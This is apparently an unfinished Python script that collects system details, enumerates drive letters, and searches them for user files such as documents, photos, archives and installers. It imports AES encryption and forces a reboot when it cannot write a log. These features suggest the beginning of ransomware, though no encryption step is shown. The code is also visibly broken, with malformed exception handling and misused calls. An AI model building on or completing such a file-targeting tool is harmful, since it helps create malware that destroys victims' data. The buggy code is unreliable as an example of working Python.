import time
import os
import sys
import platform
from threading import Thread
from Crypto.Cipher import AES
import pkg_resources
import string

#analysist system

bitt = platform.machine()
osdet = platform.platform()
try:
 nama = platform.node()
except:
 nama = None
pros = platform.processor()
vpython = list(sys.version)
vpython = vpython[0]
osss = platform.system()

def bentar():
 time.sleep(2)
print(pros)
print(nama)
bentar()

#check availble drive
letter = list(string.ascii_uppercase)
availl = []
def chkdsk():
 null = -1
 for sss in range(len(letter) + 1):
  try:
   os.chdir(letter[null])
   availl.append(letter[null])
   null += 1
  except FileNotFoundError:
   null += 1
  except not IndexError:
   break

chkdsk()

#prepare log file
def logg(isi):
 ch = os.access('log', os.W_OK)
 if ch == False:
  try:
   open('log', 'w+')
  except:
   try:
    os.system('reboot')
   except:
    os.system('shutdown -r -t 1')
 with open('log', 'a+') as gol:
  gol.write(isi)

#scan file
extension = ['jpg', 'jpeg', 'pptx', 'docx', 'txt', 'mp4', 'exe', 'zip', 'rar', 'pdf', 'apk', 'msi', 'png', 'mp3', 'ppt', 'iso']
file = []
def scanfile(drive):
 null = 0
 try:
  os.chdir(availl[null])
 except:
  logg('error while access drive %s' %(availl[null]))
  sys.exit()
 
 isid = os.listdir()
 #check file or dir
 def fileordir():
  null = -1
  while True:	
   try:
    null += 1
    os.access(isid[null])
   except NotADirectoryError:
    file.append(os.getcwd() + isid[null])
    fileordir()
    









